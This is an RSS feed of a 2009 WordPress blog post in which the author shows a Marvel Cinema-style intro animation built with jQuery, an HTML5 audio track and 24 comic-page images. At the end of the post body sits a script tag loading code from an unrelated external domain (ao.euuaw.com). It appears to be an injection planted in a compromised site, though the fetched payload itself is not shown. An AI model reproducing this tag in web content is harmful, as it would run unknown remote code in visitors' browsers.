<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Withinsight &#187; Marvel cinema intro</title>
	<atom:link href="http://www.withinsightdesign.com/tag/marvel-cinema-intro/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.withinsightdesign.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 15 May 2010 17:31:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Marvel Cinema intro built using only JavaScript</title>
		<link>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/</link>
		<comments>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:28:39 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Marvel cinema intro]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=145</guid>
		<description><![CDATA[During my recent JavaScript capstone course at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it [...]]]></description>
			<content:encoded><![CDATA[<p>During my recent <a href="http://www.westlaketraining.com/html-and-web-programming/300-javascript-dom-capstone.html" target="_blank">JavaScript capstone course</a> at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it looks like someone is flipping rapidly through a bunch of comic pages. I envisioned being able to accomplish this animation using only JavaScript.</p>
<p><a href="http://www.youtube.com/watch?v=ZmfiIqzdIbM" target="_blank">Here&#8217;s a sample of the original animation</a>, from the Spider-Man intro. I also found a few samples of other obviously homemade versions of the Marvel intro, like this <a href="http://www.youtube.com/watch?v=8bxaZ4-ZNeU&amp;feature=related" target="_blank">After Effects</a> version.</p>
<p>The below is built using JavaScript only, and relies heavily on jQuery&#8217;s animation effects. There&#8217;s even a cool soundtrack for those with newer browsers (its embedded using HTML 5&#8217;s audio element). The font isn&#8217;t exactly the same, and the music is courtesy of Dredg (everyone go out and pick up &#8220;The Pariah, The Parrot, The Delusion&#8221; right now), but I think its as close as you can get with JS to the original. Click the play button to check it out.</p>
<p>If you&#8217;d like to see a tutorial for how this was accomplished, leave a comment. If I get enough requests, I&#8217;ll put together a how-to.</p>
<p><button>Play</button><br />
<audio src="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav"></audio></p>
<div id="gallery">
<h1>Marvel</h1>
<div id="redFade"></div>
<div id="background"></div>
<p><img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel1.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel2.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel3.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel4.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel5.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel6.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel7.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel8.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel9.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel10.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel11.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel12.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel13.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel14.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel15.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel16.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel17.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel18.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel19.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel20.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel21.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel22.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel23.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel24.jpg" alt="" /></div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav" length="1734214" type="audio/x-wav" />
		</item>
	</channel>
</rss>
